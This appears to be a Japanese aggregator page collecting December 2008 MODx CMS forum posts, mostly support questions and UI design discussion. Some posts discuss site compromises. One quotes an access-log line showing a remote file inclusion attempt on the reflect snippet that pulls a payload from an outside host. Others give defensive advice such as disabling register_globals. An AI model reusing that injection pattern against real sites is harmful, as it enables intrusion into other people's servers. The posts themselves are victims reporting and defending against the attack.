メニュー

関連ページリンク

トップ > PHP > PHP - 人気ブログ(Blog)検索結果詳細 (2008年12月1日 11時)

Re: 0.9.6.3-RC1 hacked?

Sounds like someone has compromised your account or you are running on a shared server running mod_php without open_basedir restrictions enabled.  This allows any other user on that server to modify your files via the Apache user account.

Also, make sure you have disabled register_globals and/or removed the reflect snippet that was causing problems in the current release.

作者:

更新日:2008年12月1日 23時26分

このブログのホーム

Re: [finally not so solved] site closed hacked ?

My server was attacked too, but the perpetrators didn't get in since I had deleted the snippet file the day before. I have a couple of entries which say things like...

Code:
"GET /wyevale-garden-centres-news.xhtml//assets/snippets/reflect/snippet.reflect.php?reflect_base=http://millionaire-secrets.bikaigroup.us/images/pulaid.txt??? HTTP/1.1" 200 14030
... but I guess that just means that they were able to download my Japanese Wyevale garden centres page which must have been thrilling for them! All the rest are have 404 codes.

My guess is that the hackers are just going down the list of sites registered at modx.it (like mine) or picking out people (like me) that have placed links to sites in their signature in these forums. This has made me realise that doing so puts you at higher risk: I now know that the next time a security flaw is identified in modx I'll be one of the first to be targeted, and if I don't act quickly enough they'll get me.

Here's a list of IPs from which I was attacked in case an...

作者:

更新日:2008年12月1日 23時25分

このブログのホーム

Re: Support/Comments for GoogleMapMarker

Thanks Doze. Sorry for the img selector (I hate css  Angry ) I didn't see that.

Just some last things ...
1/ I don't get any content in the bubble info (no title, no image, no link) and when the bubble info is open the map doesn't fit with the upper side of the bubble info (no move).
What is wrong ?

My snippet call is

Code:
[!GoogleMapMarker? &apiKey=`{{GMapAPIkey}}` &tpl=`googleMapTpl` &startID=`3` &centerPos=`47.9320800, 1.9499134` &defaultZoom=`5` &openMouseOverMarker=`1` &mapTypeControl=`none` &hideOverviewMapByDefault=`0`!]
and the html content of my marker (#14 just under #3) is:
Code:
<h2>Brehna</h2>
<p><img src="assets/templates/pixelgreen/images/introBrehna.jpg" alt="" width="133" height="100" /><br /><a href="http://www.brehna-semoy.wangba.fr/index.php?id=2&amp;ln=de">
<h4>Hineingegangen in <br />den Standort auf deutsch</h4>
<img src="assets/templates/pixelgreen/images/de.gif" alt="" width="24" height="24" /></a></p>
I got this js error :
Quote
[Exception... "'Component does not have ...

作者:

更新日:2008年12月1日 23時20分

このブログのホーム

0.9.6.3-RC1 hacked?

I've found some strange goings on in my ModX installation - i noticed some images were missing, and when viewing the source images and scripts on the homepage are showing their resource paths as being requested from http://www.baidu.com/ rather than my site address. It seems the [(site_url)] has been replaced somehow.

Ive searched a database dump and found no reference to baidu, but then i searched the filesystem and found the references in the page cache file. My cache folder has permissions set to 777 - is that correct?

I am looking further into it. The hack seems fairly innocuous at this stage, as it just creates broken links to scripts and images - so i cant see what the purpose of that is. However it might be a 'test' attack designed to see what is changeable and may lead to further more sinister stuff, so i want to close down the hole ASAP.

MODX 0.9.6.3-RC1
PHP 5.2
APACHE 2.0
UBUNTU 6

作者:

更新日:2008年12月1日 23時19分

このブログのホーム

Treasure Chest newbie question

I am sure this is going to be one of them questions where I embarrass myself of the stupidity once I get the answer but here goes.

I have uploaded Treasure chest run though the installer no problems under the module can see the cart have have added a new product no problem, however I cant get the connection between the items you see in this section of the cart and how you display them on the site.

On the 1st container document I have added this [!TreasureChest? &service=`cart`!] Now this is where the documentation I have been looking at stops, a search of the forums show people using ditto, but to do this I would have to set up a template variable for all the fields in the cart but unless I enter then direct into that page no data will show.

Anyway hopefully by now someone will see my confusion how do I tie the cart product entry page and the site docs.

Thanks Ian  Huh

作者:

更新日:2008年12月1日 22時53分

このブログのホーム

Re: The new manager - looking for best practice solutions

Quote
Is that just a Photoshop mock up or is that actually a functional (or semi-functional) design?
Just PS at the moment, but 100% realizable if revolution can change some markup (e.g. erm... the frames :-P ).

I've got your design pretty much working (minus the tabs+tree styling and some other misc changes) on a test branch of revolution currently. It uses the same principles as the current manager design, using the iframe, to run.

MODx Revolution has no plans currently to switch away from the iframe, unless someone here can get JS libraries and onload events to work seamlessly in AJAX-inserted divs in all browsers.

作者:

更新日:2008年12月1日 22時48分

このブログのホーム

Re: Problem with several Ditto-Calls

If you wanted to modify summary extender, you do not have to copy whole the snippet.
Just creating ( = copying and modifying ) a new extender is enough.

Oh, I see. I'll give this a try, thank you!

作者:

更新日:2008年12月1日 22時45分

このブログのホーム

Re: thumb_use_dropshadow, get black border instead of shadow?

Yea.. I might change that to next version.. or at least make it easily configurable. Thanks again for the report and especially for providing the fix.

作者:

更新日:2008年12月1日 22時45分

このブログのホーム

Re: [FAQ] MaxiGallery

Возникла необходимость воспользоваться запросом к MaxiGallery, чтобы получить такой результат:
1) в строке 2е картинки
2) на странице 4 картинки
3) включена пагинация (pagination)
4) это необходимо сделать не в просто галереи, а при запросе с childgallery

Пробовал в таком виде запросить:

[!MaxiGallery? &childgalleries_ids=`all` &pics_per_page=`4` &pics_per_row=`2` &display=`childgalleries` &order_by=`random` &max_thumb_size=`150` &childgalleries_order_by=`createdon` &pagination=`1`!]

Но толку мало:
1) да получилось
2) да получилось
3) нет
4) все категории валяются в списке - 2элемента в строчке.

Подскажите такое возможно вообще?

作者:

更新日:2008年12月1日 22時39分

このブログのホーム

Re: 404 Error Enhancment

You can try it on the dev site here.

Enter a phony URL:
http://www.travisdahlgren.com/1234.html or http://www.travisdahlgren.com/modx

or a URL to an existing page that is out of the structure:
http://www.travisdahlgren.com/menus.html

I've also updated the plugin to parse out .html so that searches will match aliases.

Plug-in:
[code]
$e = &$modx->Event;

switch ($e->name) {
  case "OnPageNotFound":
    if(!$pg) $modx->sendErrorPage();
  else {
 
    //Parse out the requested page.
    $docid = str_replace("/", "", $_SERVER['REQUEST_URI']);
   
    //Determine if the friendly URLS are in use.
    if ($modx->config['friendly_urls'] == 1 && $docid != '') {
   
      //Get the configured friendly URL suffix.
      $docidSuffix = $modx->config['friendly_url_suffix'];
   
      //In order to search for aliases, we need to remove the friendly URL suffix.
      if(stristr($docid,$docidSuffix)) {
        $docid = str_replace($docidSuffix, "", $docid);
      }
    }
...

作者:

更新日:2008年12月1日 22時30分

このブログのホーム

Re: [finally not so solved] site closed hacked ?

My dedicated server has register_globals = off... Just wondered if the php files in the other snippets that aren't required, like the reflect one should be deleted or are they safe? 

作者:

更新日:2008年12月1日 22時29分

このブログのホーム

Re: thumb_use_dropshadow, get black border instead of shadow?

Yes, changing that line makes it work.

I have read a lot of posts on the net with people having problems with the imagefill function, so I guess if people have problems with this, it sure is a good workaround.

作者:

更新日:2008年12月1日 22時15分

このブログのホーム

Re: The new manager - looking for best practice solutions

Hi everyone, thanks for the kind comments!

Quote
One other thought would be to look at placing the common install tasks on the dashboard. The welcome screen might be best served as a simple template page that can take various html and tagged calls.

Yes, exactly. Just a kind of MODx document, where you can put snippet calls, chunks, custom links or quicklinks to custom apps. We need a kind of an easy classification for dashboard ressources (e.g. XML or whatever), so everyone can easily add content, links, content and so on.

Quote
Security Announcements for vulnerabilities should be on the top and as an alert. Shows we're crazy about app security.
Upgrade notices should be also shown (could be disabled my site managers).

Will include this in the next version of the draft.

Quote
An interface that combined your design style and something like this might be nice: http://modxcms.com/forums/index.php/topic,30684.msg186489.html#msg186489

Yes! Exactly what I thought about. But not with ...

作者:

更新日:2008年12月1日 22時14分

このブログのホーム

Re: Problems w/ WebLoginPE functions

I've tried the [+view.fullname+] and [+view.email+], but it didn't work.  I wonder if I need to embed some PHP into the form's snippet that does a GET to pull the info.

Thanks for the help w/ the double calls of WebLoginPE - I've redone my template to make it work and it doesn't "freak" out any more

作者:

更新日:2008年12月1日 22時1分

このブログのホーム

Re: The new manager - looking for best practice solutions

Indeed I remember a few months back when you offered to set up a workgroup to brainstorm on this... I think this would be hugely beneficial if designers joined forces to try some combinations out for a new manager theme for Evo and Revo. We have loads of talent among the community, I am all for setting up a "taskforce" and start something here !

作者:

更新日:2008年12月1日 21時31分

このブログのホーム

Re: 100% for modx

LOL I knew I wouldn't be the only one.

I think Shane was joking, modx expert users all know about the DocManager module (and enjoy it !)
Indeed it's amazing to have the ability to batch documents modifications Cool

Great testimony, thanks for agreing to share it Grin

作者:

更新日:2008年12月1日 21時26分

このブログのホーム

Re: TinyMCE on the frontend with MODx 0.9.6.2+

I need just the ability to upload images into a blog post from the frontend and found this post.  I have upgraded to .9.6.2 but don't see the options discussed here... any help would be appreciated!

Thanks

作者:

更新日:2008年12月1日 21時14分

このブログのホーム

Re: 100% for modx

Quote
Great story paulp. Mind if we use some stuff on the new marketing site said above?
Feel free, or if you want be to write something properley I will.

作者:

更新日:2008年12月1日 20時59分

このブログのホーム

Re: The new manager - looking for best practice solutions

David,

Great points about the migration of WP from 2.0 to 2.5 to the new 2.7 back end. While it is far too simple to use for modx it does make one think long and hard about the UI. I'd love to see us (designers not the development team) forge a joint project on the UI that includes testing, a set of principles that lead the project and change philosophy that considers at each step do we really need this, how can we make this easier for each of our users, developers, designers and end users.


Cheers,

Jay

作者:

更新日:2008年12月1日 20時58分

このブログのホーム

Re: [finally not so solved] site closed hacked ?

WHOOPs its late i had better Modify that.

作者:

更新日:2008年12月1日 20時50分

このブログのホーム